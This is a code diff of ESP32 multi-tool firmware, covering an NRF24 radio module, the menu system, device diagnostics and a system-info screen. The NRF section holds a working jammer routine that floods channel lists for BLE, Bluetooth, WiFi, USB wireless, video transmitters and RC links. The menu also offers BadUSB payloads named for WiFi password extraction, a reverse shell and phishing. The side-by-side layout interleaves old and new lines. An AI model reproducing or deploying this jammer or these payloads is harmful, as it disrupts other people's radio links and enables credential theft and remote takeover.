// const char payload[] = "xxxxxxxxxxxxxxxx"; // const char payload[] = "xxxxxxxxxxxxxxxx";
// //
// u8g2.clearBuffer(); // u8g2.clearBuffer();
// u8g2.drawStr(0, 10, "Jamming:"); // u8g2.drawStr(0, 10, "Jamming:");
// u8g2.setCursor(60, 10); // u8g2.setCursor(60, 10);
// u8g2.print("Bluetooth"); // u8g2.print("Bluetooth");
// u8g2.sendBuffer(); // u8g2.sendBuffer();
// //
// while(true) { // while(true) {
// //
// // Channels (you can change this set) // // Channels (you can change this set)
// const byte channels[] = {2, 26, 80}; // const byte channels[] = {2, 26, 80};
// //
// //
// for (int i = 0; i < sizeof(channels); i++) { // for (int i = 0; i < sizeof(channels); i++) {
// radio1.setChannel(channels[i]); // radio1.setChannel(channels[i]);
// radio1.write(&payload, sizeof(payload)); // radio1.write(&payload, sizeof(payload));
// //radio2.setChannel(channels[i]); // //radio2.setChannel(channels[i]);
// //radio2.write(&payload, sizeof(payload)); // //radio2.write(&payload, sizeof(payload));
// } // }
// //
// if (btnBack()) // if (btnBack())
// { // {
// Serial.println("Jammer stopped"); // Serial.println("Jammer stopped");
// return; // return;
// } // }
// } // }
// //
//} // }
// //
//void startBluetoothJammer() // void startBluetoothJammer()
//{ //{
// initNRF(radio1); // initNRF(radio1);
// initNRF(radio2); // initNRF(radio2);
// //
// Serial.println("NRF JAMMER STARTED"); // Serial.println("NRF JAMMER STARTED");
// //
// const char payload[] = "xxxxxxxxxxxxxxxx"; // const char payload[] = "xxxxxxxxxxxxxxxx";
// //
// u8g2.clearBuffer(); // u8g2.clearBuffer();
// u8g2.drawStr(0, 10, "Jamming:"); // u8g2.drawStr(0, 10, "Jamming:");
// u8g2.setCursor(60, 10); // u8g2.setCursor(60, 10);
// u8g2.print("Bluetooth"); // u8g2.print("Bluetooth");
// u8g2.sendBuffer(); // u8g2.sendBuffer();
// //
// while(true) { // while(true) {
// //
// // Channels (you can change this set) // // Channels (you can change this set)
// const byte channels[] = {32, 34, 46, 48, 50, 52, 0, 1, 2, 4, 6, 8, 22, 24, 26, 28, 30, 74, 76, 78, 80}; // const byte channels[] = {32, 34, 46, 48, 50, 52, 0, 1, 2, 4, 6, 8, 22,
// 24, 26, 28, 30, 74, 76, 78, 80};
// //
// //
// for (int i = 0; i < sizeof(channels); i++) { // for (int i = 0; i < sizeof(channels); i++) {
// radio1.setChannel(channels[i]); // radio1.setChannel(channels[i]);
// radio1.write(&payload, sizeof(payload)); // radio1.write(&payload, sizeof(payload));
// //radio2.setChannel(channels[i]); // //radio2.setChannel(channels[i]);
// //radio2.write(&payload, sizeof(payload)); // //radio2.write(&payload, sizeof(payload));
// } // }
// //
// if (btnBack()) // if (btnBack())
// { // {
// Serial.println("Jammer stopped"); // Serial.println("Jammer stopped");
// return; // return;
// } // }
// } // }
//} // }
void startJammer(const char* name, const byte* channels, size_t channelCount) void startJammer(const char *name, const byte *channels, size_t channelCount) {
{ initNRF(radio1);
initNRF(radio1); initNRF(radio2);
initNRF(radio2);
Serial.println("NRF JAMMER STARTED"); Serial.println("NRF JAMMER STARTED");
const char payload[] = "xxxxxxxxxxxxxxxx"; const char payload[] = "xxxxxxxxxxxxxxxx";
u8g2.clearBuffer(); u8g2.clearBuffer();
u8g2.setFont(u8g2_font_6x10_tr); u8g2.setFont(u8g2_font_6x10_tr);
u8g2.drawStr(0, 15, "NRF24 Jammer"); u8g2.drawStr(0, 15, "NRF24 Jammer");
u8g2.drawStr(0, 35, name); u8g2.drawStr(0, 35, name);
u8g2.drawStr(0, 55, "BACK = Exit"); u8g2.drawStr(0, 55, "BACK = Exit");
u8g2.sendBuffer(); u8g2.sendBuffer();
while (true) while (true) {
{ for (size_t i = 0; i < channelCount; i++) {
for (size_t i = 0; i < channelCount; i++) // radio1.setChannel(channels[i]);
{ // radio1.write(&payload, sizeof(payload));
//radio1.setChannel(channels[i]);
//radio1.write(&payload, sizeof(payload));
// Optional second NRF // Optional second NRF
// radio2.setChannel(channels[i]); // radio2.setChannel(channels[i]);
// radio2.write(&payload, sizeof(payload)); // radio2.write(&payload, sizeof(payload));
radio1.setChannel(channels[i]);
radio2.setChannel(channels[(i + 1) % channelCount]);
radio1.setChannel(channels[i]); radio1.writeFast(&payload, sizeof(payload));
radio2.setChannel(channels[(i + 1) % channelCount]); radio2.writeFast(&payload, sizeof(payload));
}
radio1.writeFast(&payload, sizeof(payload)); if (btnBack()) {
radio2.writeFast(&payload, sizeof(payload)); Serial.println("Jammer stopped");
} radio1.powerDown();
radio2.powerDown();
return;
}
}
if (btnBack()) // while (true) {
{ // for (size_t i = 0; i < channelCount; i++)
Serial.println("Jammer stopped"); //{
radio1.powerDown(); // radio1.setChannel(channels[i]);
radio2.powerDown(); // radio2.setChannel(channels[(i + 1) % channelCount]);
return;
}
}
//while (true) { // radio1.writeFast(&payload, sizeof(payload));
//for (size_t i = 0; i < channelCount; i++) // radio2.writeFast(&payload, sizeof(payload));
//{
// radio1.setChannel(channels[i]);
// radio2.setChannel(channels[(i + 1) % channelCount]);
// radio1.writeFast(&payload, sizeof(payload)); // radio1.txStandBy(1);
// radio2.writeFast(&payload, sizeof(payload)); // radio2.txStandBy(1);
// radio1.txStandBy(1); // delayMicroseconds(200);
// radio2.txStandBy(1); //}
// delayMicroseconds(200); // if (btnBack())
//} //{
// Serial.println("Jammer stopped");
// radio1.powerDown();
// radio2.powerDown();
//if (btnBack()) // return;
//{ //}
// Serial.println("Jammer stopped"); //}
// radio1.powerDown();
// radio2.powerDown();
// return;
//}
//}
} }
void NRFToolsMenu(int index) { void NRFToolsMenu(int index) {
switch (index) { switch (index) {
case 0: case 0:
// startBleJammer(); // startBleJammer();
// BLE // BLE
startJammer( startJammer("BLE", bleChannels,
"BLE", sizeof(bleChannels) / sizeof(bleChannels[0]));
bleChannels,
sizeof(bleChannels) / sizeof(bleChannels[0])
);
break; break;
case 1: case 1:
// startBluetoothJammer(); // startBluetoothJammer();
// Bluetooth // Bluetooth
startJammer( startJammer("Bluetooth", bluetoothChannels,
"Bluetooth", sizeof(bluetoothChannels) / sizeof(bluetoothChannels[0]));
bluetoothChannels, break;
sizeof(bluetoothChannels) / sizeof(bluetoothChannels[0])
);
break;
case 2: case 2:
startJammer( startJammer("WiFi", wifiChannels,
"WiFi", sizeof(wifiChannels) / sizeof(wifiChannels[0]));
wifiChannels, break;
sizeof(wifiChannels) / sizeof(wifiChannels[0]) case 3:
); startJammer("USB Wireless", usbWireless_channels,
break; sizeof(usbWireless_channels) / sizeof(usbWireless_channels[0]));
case 3: break;
startJammer( case 4:
"USB Wireless", startJammer("Video TX", videoTransmitter_channels,
usbWireless_channels, sizeof(videoTransmitter_channels) /
sizeof(usbWireless_channels) / sizeof(usbWireless_channels[0]) sizeof(videoTransmitter_channels[0]));
); break;
break; case 5:
case 4: break;
startJammer( startJammer("RC", rc_channels,
"Video TX", sizeof(rc_channels) / sizeof(rc_channels[0]));
videoTransmitter_channels, break;
sizeof(videoTransmitter_channels) / sizeof(videoTransmitter_channels[0]) case 6:
);
break;
case 5:
break;
startJammer(
"RC",
rc_channels,
sizeof(rc_channels) / sizeof(rc_channels[0])
);
break;
case 6:
break; break;
}
} }
}

17
src/ui/display.cpp
View File

@ -1,16 +1,11 @@
#include "display.h" #include "display.h"
#include <Wire.h>
#include "config.h" #include "config.h"
#include <Wire.h>
U8G2_SSD1306_128X64_NONAME_F_HW_I2C u8g2(U8G2_R0, U8X8_PIN_NONE);
U8G2_SSD1306_128X64_NONAME_F_HW_I2C u8g2( void displayInit() {
U8G2_R0, Wire.begin(OLED_SDA_PIN, OLED_SCL_PIN);
U8X8_PIN_NONE u8g2.begin();
); u8g2.setFont(u8g2_font_6x12_tr);
void displayInit()
{
Wire.begin(OLED_SDA_PIN, OLED_SCL_PIN);
u8g2.begin();
u8g2.setFont(u8g2_font_6x12_tr);
} }

533
src/ui/menu.cpp
View File

@ -1,71 +1,55 @@
#include <Arduino.h>
#include "menu.h" #include "menu.h"
#include "display.h" #include "BleMouse.h"
#include "utils/buttons.h"
#include "hid/badusb.h"
#include "rf/nrf24.h"
#include "rf/cc1101.h"
#include "wifi/wifi_scan.h"
#include "wifi/wifi_analyzer.h"
#include "utils/device_check.h"
#include "bluetooth/ble_mouse.h" #include "bluetooth/ble_mouse.h"
#include "bluetooth/blescanner.h" #include "bluetooth/blescanner.h"
#include "utils/sysinfo.h" #include "display.h"
#include "BleMouse.h" #include "hid/badusb.h"
#include "nfc/nfc.h" #include "nfc/nfc.h"
#include "rf/cc1101.h"
#include "rf/nrf24.h"
#include "utils/buttons.h"
#include "utils/device_check.h"
#include "utils/sysinfo.h"
#include "wifi/wifi_analyzer.h"
#include "wifi/wifi_scan.h"
#include <Arduino.h>
// ================= MENU DATA ================= // ================= MENU DATA =================
extern BleMouse bleMouse; extern BleMouse bleMouse;
// Root menu // Root menu
const char *mainMenuItems[] = { const char *mainMenuItems[] = {"BadUSB", "RF Capture", "NRF Tools",
"BadUSB", "BLE Scan", "Wifi Scan", "Wifi Analyzer",
"RF Capture", "System Info", "Device Check", "Restart",
"NRF Tools", "Ble Mouse", "NFC Tools"};
"BLE Scan",
"Wifi Scan",
"Wifi Analyzer",
"System Info",
"Device Check",
"Restart",
"Ble Mouse",
"NFC Tools"
};
Menu mainMenu = {mainMenuItems, sizeof(mainMenuItems) / sizeof(mainMenuItems[0])};
Menu mainMenu = {mainMenuItems,
sizeof(mainMenuItems) / sizeof(mainMenuItems[0])};
// NRF Tools menu // NRF Tools menu
const char *nrfToolsItems[] = { const char *nrfToolsItems[] = {
"BLE Jammer", "BLE Jammer", "Bluetooth Jammer", "Wifi Jammer", "USB Wireless",
"Bluetooth Jammer", "Video TX", "Zigbee", "RC"
"Wifi Jammer",
"USB Wireless",
"Video TX",
"Zigbee",
"RC"
}; };
Menu nrfToolsMenu = {nrfToolsItems, sizeof(nrfToolsItems) / sizeof(nrfToolsItems[0])}; Menu nrfToolsMenu = {nrfToolsItems,
sizeof(nrfToolsItems) / sizeof(nrfToolsItems[0])};
const char *badusbItems[] = {"ORION Demo",
const char *badusbItems[] = { "RickRoll",
"ORION Demo", "Matrix Rain",
"RickRoll", "Fake Terminal",
"Matrix Rain", "Wifi Password Extractor",
"Fake Terminal", "Fake Update",
"Wifi Password Extractor", "Fake BSOD",
"Fake Update", "Glitch Screen",
"Fake BSOD", "ASCII Spam",
"Glitch Screen", "Hacker Typer",
"ASCII Spam", "PWN Reverse shell",
"Hacker Typer", "Phishing attack",
"PWN Reverse shell", "Desktop Ghost",
"Phishing attack", "System Stresser"};
"Desktop Ghost",
"System Stresser"
};
Menu badusbMenu = {badusbItems, sizeof(badusbItems) / sizeof(badusbItems[0])}; Menu badusbMenu = {badusbItems, sizeof(badusbItems) / sizeof(badusbItems[0])};
@ -82,282 +66,251 @@ bool insideFeature = false;
// ================= DRAW ================= // ================= DRAW =================
void drawMenu() void drawMenu() {
{ u8g2.clearBuffer();
u8g2.clearBuffer();
// scroll handling // scroll handling
if (menuIndex < menuOffset) if (menuIndex < menuOffset)
menuOffset = menuIndex; menuOffset = menuIndex;
if (menuIndex >= menuOffset + MENU_VISIBLE_ROWS) if (menuIndex >= menuOffset + MENU_VISIBLE_ROWS)
menuOffset = menuIndex - MENU_VISIBLE_ROWS + 1; menuOffset = menuIndex - MENU_VISIBLE_ROWS + 1;
for (int i = 0; i < MENU_VISIBLE_ROWS; i++) for (int i = 0; i < MENU_VISIBLE_ROWS; i++) {
{ int item = menuOffset + i;
int item = menuOffset + i;
if (item >= currentMenu->size) if (item >= currentMenu->size)
break; break;
if (item == menuIndex) if (item == menuIndex)
u8g2.drawStr(0, 14 + i * 14, ">"); u8g2.drawStr(0, 14 + i * 14, ">");
u8g2.drawStr(10, 14 + i * 14, currentMenu->items[item]); u8g2.drawStr(10, 14 + i * 14, currentMenu->items[item]);
} }
// scroll indicators // scroll indicators
if (menuOffset > 0) if (menuOffset > 0)
u8g2.drawStr(118, 10, "^"); u8g2.drawStr(118, 10, "^");
if (menuOffset + MENU_VISIBLE_ROWS < currentMenu->size) if (menuOffset + MENU_VISIBLE_ROWS < currentMenu->size)
u8g2.drawStr(118, 62, "v"); u8g2.drawStr(118, 62, "v");
u8g2.sendBuffer(); u8g2.sendBuffer();
} }
// ================= FEATURE EXECUTION ================= // ================= FEATURE EXECUTION =================
void launchFeature() void launchFeature() {
{ insideFeature = true;
insideFeature = true;
if (currentMenu == &mainMenu) if (currentMenu == &mainMenu) {
{ switch (menuIndex) {
switch (menuIndex) case 0: // BadUSB → enter submenu
{ currentMenu = &badusbMenu;
case 0: // BadUSB → enter submenu menuIndex = 0;
currentMenu = &badusbMenu; menuOffset = 0;
menuIndex = 0; break;
menuOffset = 0;
break;
case 1: case 1:
handleMenu(); handleMenu();
break; break;
case 2: case 2:
// startNRFJammer(); // startNRFJammer();
//startBleJammer(); // startBleJammer();
//startBluetoothJammer(); // startBluetoothJammer();
currentMenu = &nrfToolsMenu; currentMenu = &nrfToolsMenu;
menuIndex = 0; menuIndex = 0;
menuOffset = 0; menuOffset = 0;
break; break;
break; break;
case 3: case 3:
ble_scan(); ble_scan();
ble_drawMenu(); ble_drawMenu();
while (1) { while (1) {
ble_loop(); ble_loop();
if (btnBack()) if (btnBack())
break; break;
} }
break; break;
case 4: case 4: {
{ // Start scan once
// Start scan once wifi_scan_start();
wifi_scan_start(); wifi_scan_draw();
wifi_scan_draw();
while (1) { while (1) {
wifi_scan_loop(); wifi_scan_loop();
// EXIT condition handled ONLY here // EXIT condition handled ONLY here
if (btnBack()) { if (btnBack()) {
delay(150); // debounce delay(150); // debounce
break; break;
}
}
break;
}
case 5:
{
wifi_analyzer_start();
bool prevBack = false;
while (1)
{
wifi_analyzer_loop();
bool nowBack = btnBack();
if (nowBack && !prevBack)
{
delay(150);
break;
}
prevBack = nowBack;
}
break;
}
case 6:
runSystemInfoFeature();
break;
case 7:
device_check_run();
break;
case 8:
{
// wait for button release
delay(200);
while (btnSelect())
delay(10);
bool confirm = false;
while (1)
{
u8g2.clearBuffer();
u8g2.setFont(u8g2_font_6x13_tr);
u8g2.drawStr(18, 18, "Restart Device?");
if (confirm)
{
u8g2.drawBox(10, 35, 45, 15);
u8g2.setDrawColor(0);
u8g2.drawStr(20, 47, "YES");
u8g2.setDrawColor(1);
u8g2.drawStr(75, 47, "NO");
}
else
{
u8g2.drawStr(20, 47, "YES");
u8g2.drawBox(65, 35, 45, 15);
u8g2.setDrawColor(0);
u8g2.drawStr(78, 47, "NO");
u8g2.setDrawColor(1);
}
u8g2.sendBuffer();
if (btnLeft() || btnUp())
{
confirm = true;
delay(150);
}
if (btnRight() || btnDown())
{
confirm = false;
delay(150);
}
if (btnSelect())
{
delay(150);
if (confirm)
{
u8g2.clearBuffer();
u8g2.drawStr(28, 30, "Restarting...");
u8g2.sendBuffer();
delay(1000);
ESP.restart();
}
else
{
break;
}
}
if (btnBack())
{
delay(150);
break;
}
}
}
break;
case 9:
// Begin Ble mouse
bleMouse.begin();
ble_mouse_run();
break;
case 10:
pn532_scan_loop();
break;
} }
}
break;
} }
else if (currentMenu == &badusbMenu) case 5: {
{
badUSBMenu(menuIndex); wifi_analyzer_start();
} else if (currentMenu == &nrfToolsMenu) {
NRFToolsMenu(menuIndex); bool prevBack = false;
while (1) {
wifi_analyzer_loop();
bool nowBack = btnBack();
if (nowBack && !prevBack) {
delay(150);
break;
}
prevBack = nowBack;
}
break;
} }
insideFeature = false; case 6:
runSystemInfoFeature();
break;
case 7:
device_check_run();
break;
case 8: {
// wait for button release
delay(200);
drawMenu(); while (btnSelect())
delay(10);
bool confirm = false;
while (1) {
u8g2.clearBuffer();
u8g2.setFont(u8g2_font_6x13_tr);
u8g2.drawStr(18, 18, "Restart Device?");
if (confirm) {
u8g2.drawBox(10, 35, 45, 15);
u8g2.setDrawColor(0);
u8g2.drawStr(20, 47, "YES");
u8g2.setDrawColor(1);
u8g2.drawStr(75, 47, "NO");
} else {
u8g2.drawStr(20, 47, "YES");
u8g2.drawBox(65, 35, 45, 15);
u8g2.setDrawColor(0);
u8g2.drawStr(78, 47, "NO");
u8g2.setDrawColor(1);
}
u8g2.sendBuffer();
if (btnLeft() || btnUp()) {
confirm = true;
delay(150);
}
if (btnRight() || btnDown()) {
confirm = false;
delay(150);
}
if (btnSelect()) {
delay(150);
if (confirm) {
u8g2.clearBuffer();
u8g2.drawStr(28, 30, "Restarting...");
u8g2.sendBuffer();
delay(1000);
ESP.restart();
} else {
break;
}
}
if (btnBack()) {
delay(150);
break;
}
}
} break;
case 9:
// Begin Ble mouse
bleMouse.begin();
ble_mouse_run();
break;
case 10:
pn532_scan_loop();
break;
}
} else if (currentMenu == &badusbMenu) {
badUSBMenu(menuIndex);
} else if (currentMenu == &nrfToolsMenu) {
NRFToolsMenu(menuIndex);
}
insideFeature = false;
drawMenu();
} }
// ================= INIT ================= // ================= INIT =================
void menuInit() void menuInit() {
{ currentMenu = &mainMenu;
currentMenu = &mainMenu; menuIndex = 0;
menuIndex = 0; menuOffset = 0;
menuOffset = 0;
drawMenu(); drawMenu();
} }
// ================= LOOP ================= // ================= LOOP =================
void menuLoop() void menuLoop() {
{ static uint32_t lastPress = 0;
static uint32_t lastPress = 0;
if (insideFeature) if (insideFeature)
return; return;
if (millis() - lastPress < 150) if (millis() - lastPress < 150)
return; return;
if (btnUp()) if (btnUp()) {
{ menuIndex--;
menuIndex--;
if (menuIndex < 0) if (menuIndex < 0)
menuIndex = currentMenu->size - 1; menuIndex = currentMenu->size - 1;
drawMenu(); drawMenu();
lastPress = millis(); lastPress = millis();
}
else if (btnDown()) {
menuIndex++;
if (menuIndex >= currentMenu->size)
menuIndex = 0;
drawMenu();
lastPress = millis();
}
else if (btnSelect()) {
launchFeature();
lastPress = millis();
}
else if (btnBack()) {
if (currentMenu != &mainMenu) {
currentMenu = &mainMenu;
menuIndex = 0;
menuOffset = 0;
drawMenu();
} }
else if (btnDown()) lastPress = millis();
{ }
menuIndex++;
if (menuIndex >= currentMenu->size)
menuIndex = 0;
drawMenu();
lastPress = millis();
}
else if (btnSelect())
{
launchFeature();
lastPress = millis();
}
else if (btnBack())
{
if (currentMenu != &mainMenu)
{
currentMenu = &mainMenu;
menuIndex = 0;
menuOffset = 0;
drawMenu();
}
lastPress = millis();
}
} }

17
src/utils/buttons.cpp
View File

@ -1,15 +1,14 @@
#include "buttons.h" #include "buttons.h"
#include <Arduino.h>
#include "../config.h" #include "../config.h"
#include <Arduino.h>
void buttonsInit() void buttonsInit() {
{ pinMode(BTN_UP, INPUT_PULLUP);
pinMode(BTN_UP, INPUT_PULLUP); pinMode(BTN_DOWN, INPUT_PULLUP);
pinMode(BTN_DOWN, INPUT_PULLUP); pinMode(BTN_SELECT, INPUT_PULLUP);
pinMode(BTN_SELECT, INPUT_PULLUP); pinMode(BTN_BACK, INPUT_PULLUP);
pinMode(BTN_BACK, INPUT_PULLUP); pinMode(BTN_RIGHT, INPUT_PULLUP);
pinMode(BTN_RIGHT, INPUT_PULLUP); pinMode(BTN_LEFT, INPUT_PULLUP);
pinMode(BTN_LEFT, INPUT_PULLUP);
} }
bool btnUp() { return !digitalRead(BTN_UP); } bool btnUp() { return !digitalRead(BTN_UP); }

218
src/utils/device_check.cpp
View File

@ -1,12 +1,12 @@
#include "../libs/ELECHOUSE_CC1101_SRC_DRV.h"
#include <Arduino.h> #include <Arduino.h>
#include <RF24.h>
#include <SPI.h> #include <SPI.h>
#include <Wire.h> #include <Wire.h>
#include <RF24.h>
#include "../libs/ELECHOUSE_CC1101_SRC_DRV.h"
#include "../config.h"
#include "../ui/display.h" #include "../ui/display.h"
#include "buttons.h" #include "buttons.h"
#include "../config.h"
// ===== EXTERNALS ===== // ===== EXTERNALS =====
extern RF24 radio1; extern RF24 radio1;
@ -16,16 +16,14 @@ extern U8G2_SSD1306_128X64_NONAME_F_HW_I2C u8g2;
// ===== RESULTS ===== // ===== RESULTS =====
struct DeviceStatus { struct DeviceStatus {
bool nrf1 = false; bool nrf1 = false;
bool nrf2 = false; bool nrf2 = false;
bool cc1101_1 = false; bool cc1101 = false;
bool cc1101_2 = false; bool oled = true;
bool oled = true;
bool buttons = false;
}; };
// ===== NRF CHECK ===== // ===== NRF CHECK =====
//bool checkNRF(RF24 &radio) // bool checkNRF(RF24 &radio)
//{ //{
// // safer: only init if needed // // safer: only init if needed
// if (!radio.isChipConnected()) { // if (!radio.isChipConnected()) {
@ -36,172 +34,118 @@ struct DeviceStatus {
// return radio.isChipConnected(); // return radio.isChipConnected();
//} //}
bool checkNRF(RF24 &radio) bool checkNRF(RF24 &radio) {
{ radio.powerDown();
radio.powerDown(); delay(5);
delay(5);
if (!radio.begin(RADIO_SPI)) if (!radio.begin(RADIO_SPI))
return false; return false;
delay(5); delay(5);
return radio.isChipConnected(); return radio.isChipConnected();
} }
// ===== CC1101 CHECK ===== // ===== CC1101 CHECK =====
bool checkCC1101(uint8_t csPin) bool checkCC1101(uint8_t csPin) {
{ ELECHOUSE_cc1101.setSpiPin(cc1101_SCK, cc1101_MISO, cc1101_MOSI, csPin);
ELECHOUSE_cc1101.setSpiPin(
cc1101_SCK,
cc1101_MISO,
cc1101_MOSI,
csPin
);
delay(5); delay(5);
return ELECHOUSE_cc1101.getCC1101(); return ELECHOUSE_cc1101.getCC1101();
}
// ===== BUTTON CHECK =====
bool checkButtons()
{
u8g2.clearBuffer();
u8g2.setFont(u8g2_font_6x10_tr);
u8g2.drawStr(0, 20, "Press any button...");
u8g2.sendBuffer();
unsigned long start = millis();
while (millis() - start < 2000)
{
if (!digitalRead(BTN_UP) ||
!digitalRead(BTN_DOWN) ||
!digitalRead(BTN_SELECT) ||
!digitalRead(BTN_BACK) ||
!digitalRead(BTN_RIGHT) ||
!digitalRead(BTN_LEFT))
{
return true;
}
}
return false;
} }
// ===== DRAW ===== // ===== DRAW =====
#define MAX_ITEMS 6 #define MAX_ITEMS 4
#define VISIBLE_ROWS 5 #define VISIBLE_ROWS 5
const char* labels[MAX_ITEMS] = { const char *labels[MAX_ITEMS] = {"NRF1", "NRF2", "CC1101", "OLED"};
"NRF1",
"NRF2",
"CC1101-1",
"CC1101-2",
"BUTTONS",
"OLED"
};
bool values[MAX_ITEMS]; bool values[MAX_ITEMS];
int selectedIndex = 0; int selectedIndex = 0;
int offset = 0; int offset = 0;
void drawStatus(DeviceStatus &s) void drawStatus(DeviceStatus &s) {
{ values[0] = s.nrf1;
values[0] = s.nrf1; values[1] = s.nrf2;
values[1] = s.nrf2; values[2] = s.cc1101;
values[2] = s.cc1101_1; values[3] = s.oled;
values[3] = s.cc1101_2;
values[4] = s.buttons;
values[5] = s.oled;
u8g2.clearBuffer();
u8g2.setFont(u8g2_font_6x10_tr);
u8g2.clearBuffer(); // scrolling logic
u8g2.setFont(u8g2_font_6x10_tr); if (selectedIndex < offset)
offset = selectedIndex;
// scrolling logic if (selectedIndex >= offset + VISIBLE_ROWS)
if (selectedIndex < offset) offset = selectedIndex - VISIBLE_ROWS + 1;
offset = selectedIndex;
if (selectedIndex >= offset + VISIBLE_ROWS) for (int i = 0; i < VISIBLE_ROWS; i++) {
offset = selectedIndex - VISIBLE_ROWS + 1; int item = offset + i;
if (item >= MAX_ITEMS)
break;
for (int i = 0; i < VISIBLE_ROWS; i++) int y = 12 + i * 10;
{
int item = offset + i;
if (item >= MAX_ITEMS) break;
int y = 12 + i * 10; if (item == selectedIndex) {
u8g2.drawBox(0, y - 9, 128, 10);
if (item == selectedIndex) u8g2.setDrawColor(0);
{
u8g2.drawBox(0, y - 9, 128, 10);
u8g2.setDrawColor(0);
}
u8g2.drawStr(2, y, labels[item]);
if (values[item])
u8g2.drawStr(80, y, "OK");
else
u8g2.drawStr(80, y, "FAIL");
if (item == selectedIndex)
u8g2.setDrawColor(1);
} }
u8g2.sendBuffer(); u8g2.drawStr(2, y, labels[item]);
if (values[item])
u8g2.drawStr(80, y, "OK");
else
u8g2.drawStr(80, y, "FAIL");
if (item == selectedIndex)
u8g2.setDrawColor(1);
}
u8g2.sendBuffer();
} }
// ===== MAIN ===== // ===== MAIN =====
void device_check_run() void device_check_run() {
{ DeviceStatus status;
DeviceStatus status;
Serial.println("Running device diagnostics..."); Serial.println("Running device diagnostics...");
// NRF // NRF
status.nrf1 = checkNRF(radio1); status.nrf1 = checkNRF(radio1);
status.nrf2 = checkNRF(radio2); status.nrf2 = checkNRF(radio2);
// CC1101 // CC1101
status.cc1101_1 = checkCC1101(CC1101_CS); status.cc1101 = checkCC1101(CC1101_CS);
status.cc1101_2 = checkCC1101(CC1101_2_CS); // status.cc1101 = true;
//status.cc1101_1 = status.cc1101_2 = false;
// Buttons drawStatus(status);
status.buttons = checkButtons();
Serial.println("Diagnostics complete");
while (1) {
drawStatus(status); drawStatus(status);
Serial.println("Diagnostics complete"); if (btnUp()) {
selectedIndex--;
while (1) if (selectedIndex < 0)
{ selectedIndex = MAX_ITEMS - 1;
drawStatus(status); delay(150);
if (btnUp())
{
selectedIndex--;
if (selectedIndex < 0) selectedIndex = MAX_ITEMS - 1;
delay(150);
} }
if (btnDown()) if (btnDown()) {
{ selectedIndex++;
selectedIndex++; if (selectedIndex >= MAX_ITEMS)
if (selectedIndex >= MAX_ITEMS) selectedIndex = 0; selectedIndex = 0;
delay(150); delay(150);
} }
if (btnBack()) if (btnBack()) {
{ delay(150);
delay(150); break;
break;
} }
}} }
}

135
src/utils/sysinfo.cpp
View File

@ -1,87 +1,84 @@
#include <Arduino.h>
#include "../ui/display.h" #include "../ui/display.h"
#include "buttons.h" #include "buttons.h"
#include <Arduino.h>
#include <esp_chip_info.h> #include <esp_chip_info.h>
#include <esp_heap_caps.h> #include <esp_heap_caps.h>
void runSystemInfoFeature() void runSystemInfoFeature() {
{ esp_chip_info_t chip_info;
esp_chip_info_t chip_info;
esp_chip_info(&chip_info);
while (true) {
// u8g2.clearBuffer();
// char buf[32];
// sprintf(buf, "Cores: %d", chip_info.cores);
// u8g2.drawStr(0, 14, buf);
// sprintf(buf, "Heap: %d",
// heap_caps_get_free_size(MALLOC_CAP_DEFAULT));
// u8g2.drawStr(0, 28, buf);
// u8g2.drawStr(0, 60, "BACK to exit");
// Get RAM info
size_t freeHeap = heap_caps_get_free_size(MALLOC_CAP_DEFAULT);
size_t totalHeap = heap_caps_get_total_size(MALLOC_CAP_DEFAULT);
int ramUsage = 100 - ((freeHeap * 100) / totalHeap);
// Get Flash info
// uint32_t flashSize = spi_flash_get_chip_size();
uint32_t flashSize = ESP.getFlashChipSize();
uint32_t flashUsed = ESP.getSketchSize();
int flashUsage = (flashUsed * 100) / flashSize;
// Temperature (approx)
uint8_t temperature = temperatureRead();
// Chip info
esp_chip_info_t chip_info;
esp_chip_info(&chip_info); esp_chip_info(&chip_info);
while (true) u8g2.clearBuffer();
{ u8g2.setFont(u8g2_font_6x12_tr);
//u8g2.clearBuffer();
//char buf[32]; char buf[32];
//sprintf(buf, "Cores: %d", chip_info.cores); // Box 1 - RAM
//u8g2.drawStr(0, 14, buf); u8g2.drawFrame(0, 0, 128, 12);
sprintf(buf, "RAM: %d%% used", ramUsage);
u8g2.drawStr(4, 9, buf);
//sprintf(buf, "Heap: %d", // Box 2 - Flash
// heap_caps_get_free_size(MALLOC_CAP_DEFAULT)); u8g2.drawFrame(0, 12, 128, 12);
//u8g2.drawStr(0, 28, buf); sprintf(buf, "Flash: %d%% used", flashUsage);
u8g2.drawStr(4, 21, buf);
// Box 3 - Temp (FULL WIDTH now)
u8g2.drawFrame(0, 24, 128, 12);
sprintf(buf, "Temp: %d C", temperature);
u8g2.drawStr(4, 33, buf);
//u8g2.drawStr(0, 60, "BACK to exit"); // Box 4 - Chip info (FULL WIDTH)
u8g2.drawFrame(0, 36, 128, 12);
sprintf(buf, "Cores: %d Rev: %d", chip_info.cores, chip_info.revision);
u8g2.drawStr(4, 45, buf);
// Get RAM info // Box 5 - PSRAM (KB)
size_t freeHeap = heap_caps_get_free_size(MALLOC_CAP_DEFAULT); u8g2.drawFrame(0, 48, 128, 12);
size_t totalHeap = heap_caps_get_total_size(MALLOC_CAP_DEFAULT); sprintf(buf, "PSRAM: %lu KB",
int ramUsage = 100 - ((freeHeap * 100) / totalHeap); heap_caps_get_free_size(MALLOC_CAP_SPIRAM) / 1024);
u8g2.drawStr(4, 57, buf);
// Get Flash info u8g2.sendBuffer();
//uint32_t flashSize = spi_flash_get_chip_size();
uint32_t flashSize = ESP.getFlashChipSize();
uint32_t flashUsed = ESP.getSketchSize();
int flashUsage = (flashUsed * 100) / flashSize;
// Temperature (approx) if (btnBack()) {
uint8_t temperature = temperatureRead(); delay(200);
return;
// Chip info
esp_chip_info_t chip_info;
esp_chip_info(&chip_info);
u8g2.clearBuffer();
u8g2.setFont(u8g2_font_6x12_tr);
char buf[32];
// Box 1 - RAM
u8g2.drawFrame(0, 0, 128, 12);
sprintf(buf, "RAM: %d%% used", ramUsage);
u8g2.drawStr(4, 9, buf);
// Box 2 - Flash
u8g2.drawFrame(0, 12, 128, 12);
sprintf(buf, "Flash: %d%% used", flashUsage);
u8g2.drawStr(4, 21, buf);
// Box 3 - Temp (FULL WIDTH now)
u8g2.drawFrame(0, 24, 128, 12);
sprintf(buf, "Temp: %d C", temperature);
u8g2.drawStr(4, 33, buf);
// Box 4 - Chip info (FULL WIDTH)
u8g2.drawFrame(0, 36, 128, 12);
sprintf(buf, "Cores: %d Rev: %d", chip_info.cores, chip_info.revision);
u8g2.drawStr(4, 45, buf);
// Box 5 - PSRAM (KB)
u8g2.drawFrame(0, 48, 128, 12);
